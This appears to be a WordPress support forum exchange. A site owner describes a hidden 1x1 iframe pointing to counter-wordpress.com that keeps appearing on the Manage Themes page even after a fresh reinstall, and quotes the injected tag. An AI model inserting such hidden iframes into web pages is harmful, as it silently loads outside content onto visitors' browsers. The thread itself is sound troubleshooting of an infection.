Did you delete the files AND change your password AND scan your wp-config.php and .htaccess for possible violations?
Did you remove EVERYTHING in wp-content (except for the /uploads/ folder)?
Did you change all your passwords?
Yes, just finished another install with a fresh database.
Went to the wp-admin area, and nothing. I went to the Manage Themes page and bam, it's there.
I'm using Chrome - I right click and click on "Inspect Element" - the iframe is there.
iframe id="iframe" style="width: 1px; height: 1px; " src="http://counter-wordpress.com/frame.php" /iframe
View source shows nothing but that's a given. This is driving me bonkers.
EDIT: If the malicious script was in the DB, it would not have been an issue because like I said, it was a fresh install with a new DB with different passwords, etc.